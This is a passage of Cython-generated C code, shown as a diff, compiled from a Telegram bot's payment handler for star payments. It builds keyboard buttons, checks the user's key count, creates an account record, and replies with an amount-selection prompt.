(PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_stars) < 0) __PYX_ERR(0, 76, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":75 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_stars", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":80 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * key_count = await get_key_count(tg_id) + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_7}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":82 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< + * + * if key_count == 0: + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 82, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":84 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 84, __pyx_L1_error) + if (__pyx_t_2) { + + /* "handlers/payments/stars_pay.py":85 + * + * if key_count == 0: + * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":86 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 86, __pyx_L1_error) + __pyx_t_15 = (!__pyx_t_2); + if (__pyx_t_15) { + + /* "handlers/payments/stars_pay.py":87 + * exists = await check_connection_exists(tg_id) + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 87, __pyx_L1_error); + __pyx_t_7 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 87, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 87, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":86 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + } + + /* "handlers/payments/stars_pay.py":84 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + } + + /* "handlers/payments/stars_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + { + __Pyx_ExceptionSave(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":90 + * + * try: + * await callback_query.message.delete() # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 90, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_delete); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L21_resume_from_await:; + __pyx_t_16 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_18); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 90, __pyx_L15_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 90, __pyx_L15_error) + } + } + + /* "handlers/payments/stars_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + } + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; + goto __pyx_L20_try_end; + __pyx_L15_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/stars_pay.py":91 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + __pyx_t_19 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_19) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_6, &__pyx_t_7) < 0) __PYX_ERR(0, 91, __pyx_L17_except_error) + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_INCREF(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_e = __pyx_t_6; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":92 + * await callback_query.message.delete() + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_4 = __Pyx_PyUnicode_Concat(__pyx_kp_u__5, __pyx_t_11); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_4}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + + /* "handlers/payments/stars_pay.py":91 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L28; + } + __pyx_L27_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_25, &__pyx_t_26, &__pyx_t_27); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24) < 0)) __Pyx_ErrFetch(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_26); + __Pyx_XGOTREF(__pyx_t_27); + __pyx_t_19 = __pyx_lineno; __pyx_t_20 = __pyx_clineno; __pyx_t_21 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_XGIVEREF(__pyx_t_26); + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_ExceptionReset(__pyx_t_25, __pyx_t_26, __pyx_t_27); + } + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_ErrRestore(__pyx_t_22, __pyx_t_23, __pyx_t_24); + __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; + __pyx_lineno = __pyx_t_19; __pyx_clineno = __pyx_t_20; __pyx_filename = __pyx_t_21; + goto __pyx_L17_except_error; + } + __pyx_L28:; + } + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L16_exception_handled; + } + goto __pyx_L17_except_error; + + /* "handlers/payments/stars_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + __pyx_L17_except_error:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + goto __pyx_L1_error; + __pyx_L16_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + __pyx_L20_try_end:; + } + + /* "handlers/payments/stars_pay.py":94 + * logger.error(f" : {e}") + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_answer); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/stars_pay.py":95 + * + * await callback_query.message.answer( + * text=" :", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_7 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_text, __pyx_kp_u__6) < 0) __PYX_ERR(0, 95, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":96 + * await callback_query.message.answer( + * text=" :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_14 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":94 + * logger.error(f" : {e}") + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L33_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 94, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 94, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":99 + * ) + * + * await state.set_state(ReplenishBalanceState.choosing_amount_stars) # 